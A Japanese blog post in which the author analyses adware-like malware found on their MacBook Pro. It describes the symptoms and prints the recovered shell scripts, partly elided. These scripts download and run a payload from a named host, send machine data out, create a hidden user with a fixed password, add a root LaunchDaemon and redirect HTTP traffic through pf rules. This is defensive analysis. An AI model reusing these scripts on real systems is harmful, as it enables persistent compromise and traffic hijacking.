読者です 読者をやめる 読者になる 読者になる

MacBookProがマルウェアに感染したので解析してみた

その他 CTF ネットワーク

※この記事にちょいちょい出てくる上の方は、教授のことです。職場ではありません。

タイトルの通り、Macbook Proマルウェアっぽいやつ(どちらかというとアドウェア?)に感染しました。(めんどくさいので便宜上この記事では以下ウィルスと呼びます。)

適当にしか探してないですが、似たような症状の記事とかが見つからなかったので、閉じ込めて少しだけ分析してみました。

が、最近セキュリティ以外のアルバイトや研究が忙しくてブログ書く時間が取れず、詳細を書いている時間がないのですが、これ以上溜め込んでおくのは鮮度が落ちる?し適当にまとめて載せておきます。

あと、詳しく書くと悪用する奴が出てくるからやめとけととあるお方から言われたのでコード省略してます。

感染源

これが本当に調べるの辛くて… 気力の限りlogを遡ったりしたのですが、わからなかったです…

症状

感染すると、以下のような症状が出ました。

  • ウェブサイトを閲覧していると、突然新しいタブが開き、インド人のおっさんの動画が流れ始めて、「Congraturation! you ...」といった事を話して100万ドル?当選しましたよって言ってくる。そこからは見てない。

  • ○○○○番ポート(身に覚えのないポート)の解放を許可しますか警告が出てくる。

  • ブラウザ再起動、PC再起動しても変わらない。

  • 身に覚えのないユーザが大量に作成されている。

大体こんな感じです。

ウィルス関連のファイル

ファイル(ディレクトリ)は全部で5つほどありました。 そのうち重要なものを順に紹介します。

/file

実行ファイルです。 こいつが大元のスクリプトです。

file\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00000755 \00000000 \00000000 \0000000005152 12723746160 012035\00 0\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00ustar\0000root\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00wheel\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00000000 \00000000 \00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00#!/bin/bash
# ioreg -l | grep -e Manufacturer -e 'Vendor Name'
updFile="/var/tmp/updText.txt"
updFileError="/var/tmp/updTextError.txt"
chmod 777 $updFile;
chmod 777 $updFileError;
...省略...
get_pd_client_data="...省略.../v/cld?mid=$br_mid&ct=pd"
data=$(curl -s "$get_pd_client_data")
dc="DP7137"
channel=$(echo $dc | tr -d '[[:space:]]' | tr -cd 0-9)
pdChannel=${dc:2}
echo "DC: $dc" >> $updFile
click_id="0"
echo "CLICK_ID: $click_id" >> $updFile
click_stamp=""
echo "CLICK_STAMP: $click_stamp" >> $updFile
id=$dc"--"$click_id"___"$click_stamp"___"$br_mid
echo "Full ID: $id" >> $updFile
domain=""...省略...""
...省略...
pInj () {
    tmpfile="/var/tmp/dit8.tgz"
    filePath="/var/tmp/Injector10052016"
    /usr/bin/curl -s  -L -o $tmpfile "http://pullmenow.com/pd_files/dit8.tgz"
    sleep 10
    tar -xzf $tmpfile -C /var/tmp/
    sleep 5
    cd $filePath
    sudo chmod 777 $filePath/setupInjector.sh
    echo sudo $filePath/setupInjector.sh A$pdChannel $click_id $domain >> $updFile
    sudo $filePath/setupInjector.sh A$pdChannel $click_id $domain
    sleep 30
#   rm -rf $tmpfile
#   rm -rf $filePath
}
shouldPDInj="1"
echo $shouldPDInj
if [[ "$shouldPDInj" == "1" ]]; then
    echo "vs_inj_no_mid" >> $updFile
    echo "Installing pInj with logger" >> $updFile
    pInj &> $updFileError;
    sleep 10
    echo $(</var/tmp/updTextError.txt) >> $updFile
else
    echo "vs_inj_mid: $mid" >> $updFile
fi

eventType="Update Script Output"
sleep 30
curl --request POST '...省略...' --data "vs_mid=$mid" --data "br_mid=$br_mid" --data-urlencode "event_type=$eventType" --data-urlencode "event_data=$(<$updFile)"
sleep 5
rm -rf $updFile
rm -rf /var/tmp/updText2.txt
rm -rf $updFileError\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0000\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00

バイナリから持ってきたのですが、最初と最後に大量のNULLがあって、マルウェア検知回避のためにつけてるのかなと。 大まかな動きとしては、

  1. 感染PCのデータを収集する
  2. Injectorディレクトリを作り、setupinjector.shを実行
  3. 証拠隠滅

です。詳しくはシェルスクリプトを追ってください... ちなみに、ドメインwhoisしたらパナマのwhoisprotectに妨害されました。 また、ipをググったらアメリカの某州のものでした。

/Injector10052016

ディレクトリ名が未来になっとる。 10月5日じゃないや5月10日だ、過去ですねw

構造は以下のような感じ。

Injector10052016/
↓
Injector.app/ com.pref.plist readme.txt setupInjector.sh   
↓
Contents/
↓
Frameworks/ MacOS/ PlugIns/ Resources/ Info.plist PkgInfo
         ↓ 
Injector rec_script.sh

重要なところ以外は省略しました。

Injector10052016/com.pref.plist

内容は以下のようになっていました。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "...省略...">
<plist version="1.0">
<dict>
    <key>UserName</key>
    <string>root</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>Label</key>
    <string>def-serv</string>
    <key>ProgramArguments</key>
    <array>
        <string>/etc/change_net_settings.sh</string>
    </array>
</dict>
</plist>

Injector10052016/readme.txt

まさかのreadmeあるんかい!と突っ込んでしまった。 使用者は販売していたのをそのまま買ったのかな? 内容は以下のとおり。

sudo ./setupInjector.sh [dist_channel] [click_id] [domain]

setupInjector.shが鍵を握ってそうですね。

Injector10052016/setupInjector.sh

コードはこちら。

#!/bin/sh
updf="/var/tmp/updt.txt"

# get random names
n=$(cat /usr/share/dict/words | wc -l)

companyName=$(cat -n /usr/share/dict/words | grep -w $(jot -r 1 1 $n) | cut -f2)
echo $companyName

# create hidden user
HIDDEN_USER=$(cat -n /usr/share/dict/words | grep -w $(jot -r 1 1 $n) | cut -f2)
echo $HIDDEN_USER >> $updf
userName=$HIDDEN_USER

preferencesFileName="com."
preferencesFileName+=$companyName
preferencesFileName+=".plist"
echo $preferencesFileName >> $updf

netPreferencesFileName="com."
netPreferencesFileName+=$companyName
netPreferencesFileName+=".plist"
echo $netPreferencesFileName >> $updf

settingsFileName=$companyName
settingsFileName+=".sh"

configFileName=$companyName
configFileName+=".conf"

settingsFileData="#!/bin/sh\n\
\n\
if [ -a /Library/"$companyName"/Contents/MacOS/"$companyName" ];\n\
then\n\
sleep 10\n\
sudo pfctl -evf /etc/"$configFileName"\n\
sudo -u "$userName" /Library/"$companyName"/Contents/MacOS/"$companyName"\n\
fi\n\
exit 0\n"
echo "$settingsFileData" > /etc/$settingsFileName
sudo chown root /etc/$settingsFileName
sudo chmod 755 /etc/$settingsFileName

# copy files
sudo cp -r Injector.app $companyName
sudo cp -r $companyName /Library
sudo rm -r $companyName
sudo chmod -R 755 "/Library/"$companyName

#change name of the exe
sudo mv "/Library/"$companyName"/Contents/MacOS/Injector" "/Library/"$companyName"/Contents/MacOS/"$companyName

#configure hidden account
HIDDEN_PASS=test
HIDDEN_UID=401
HIDDEN_NAME="User "$HIDDEN_USER

HIDDEN_HOME="/var/$HIDDEN_USER"

sudo dscl . -create /Users/$HIDDEN_USER UniqueID $HIDDEN_UID
sudo dscl . -create /Users/$HIDDEN_USER PrimaryGroupID 20
sudo dscl . -create /Users/$HIDDEN_USER NFSHomeDirectory "$HIDDEN_HOME"
sudo dscl . -create /Users/$HIDDEN_USER UserShell /bin/bash
sudo dscl . -create /Users/$HIDDEN_USER RealName "$HIDDEN_NAME"
sudo dscl . -passwd /Users/$HIDDEN_USER $HIDDEN_PASS
sudo mkdir "$HIDDEN_HOME"
sudo chown -R $HIDDEN_USER "$HIDDEN_HOME"
sudo chmod a+rwx "/Library/"$companyName"/Contents/MacOS/"$companyName

# Enable the Hide500Users attribute
sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool YES

# read parameters
dist_channel_id=$1
machine_id=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')
click_id=$2
domain=$3

...省略...

# write parameters to preferences file
sudo defaults write "/Library/Preferences/"$preferencesFileName dist_channel_id "$dist_channel_id"
sudo defaults write "/Library/Preferences/"$preferencesFileName machine_id "$machine_id"
sudo defaults write "/Library/Preferences/"$preferencesFileName click_id "$click_id"
sudo defaults write "/Library/Preferences/"$preferencesFileName domain "$domain"
sudo plutil -convert xml1 "/Library/Preferences/"$preferencesFileName

# INSTALL SERVER
# set redirections
activeInterface=$(route get default | sed -n -e 's/^.*interface: //p')
if [ -n "$activeInterface" ]; then
    pfData="rdr pass inet proto tcp from $activeInterface to any port 80 -> 127.0.0.1 port 9882\n\
pass out on $activeInterface route-to lo0  inet proto tcp from $activeInterface to any port 80 keep state\n\
pass out proto tcp all user "$HIDDEN_USER"\n"
    echo "$pfData" > /etc/$configFileName

# run server
sudo cp com.pref.plist "/Library/LaunchDaemons/"$netPreferencesFileName
sudo defaults write "/Library/LaunchDaemons/"$netPreferencesFileName Label "$netPreferencesFileName"
sudo defaults write "/Library/LaunchDaemons/"$netPreferencesFileName ProgramArguments -array '/etc/'$settingsFileName''
sudo chmod 755 "/Library/LaunchDaemons/"$netPreferencesFileName
sudo launchctl load -w "/Library/LaunchDaemons/"$netPreferencesFileName

else
    echo "Unable to find active interface" >> $updf
    exit 1
fi

こいつが本当に最悪な動きをしていますね。

ざっと挙動をまとめると、

  1. PC内部の辞書からランダムに単語を持ってきて偽フォルダ名、偽ユーザ名でInjectorを増殖させる準備をする。

  2. ウィルス設置しまくる。

  3. 悪いサーバーをインストールして動かす

  4. 死亡

こんな感じです。

ちなみに、挙動のところで紹介したポート9882を解放しますか?という警告はこいつのせいです。解放しちゃだめですよ!

Injector10052016/Injector.app/Contents/MacOS/Injector

こいつはなんのファイルかというと、

#file Injector
Mach-O 64-bit x86_64 executable

ということで、実行ファイルですね。 ファイルを載せてもいいものかと思って某人に相談したらダメと言われたので載せません。すみません。

他にも様々なファイルなどが散在していたのですが、最初に書いたとおりあまり載せてしまうのは良くないと上の方から言われたので、やめておきます。

ユーザーとディレクトリを大量に適当な名前で複製しまくるの本当に最悪でした。

このウィルスに感染したかもしれないなら

ノートンの無償版入れていたので、こいつで消せるかな?と思ったらノートンがバグってPC落ちたので手動でガシガシ消していきました。

なので、これを使ってね!などは言えないのですが、とりあえず感染したらインターネットと隔離してください。

そして、ウィルス感染したかもとメーカーなりそのような企業に助けを求めてください。

僕に相談してくれてもいいですが、保証とかはもちろんありませんw

ではではノ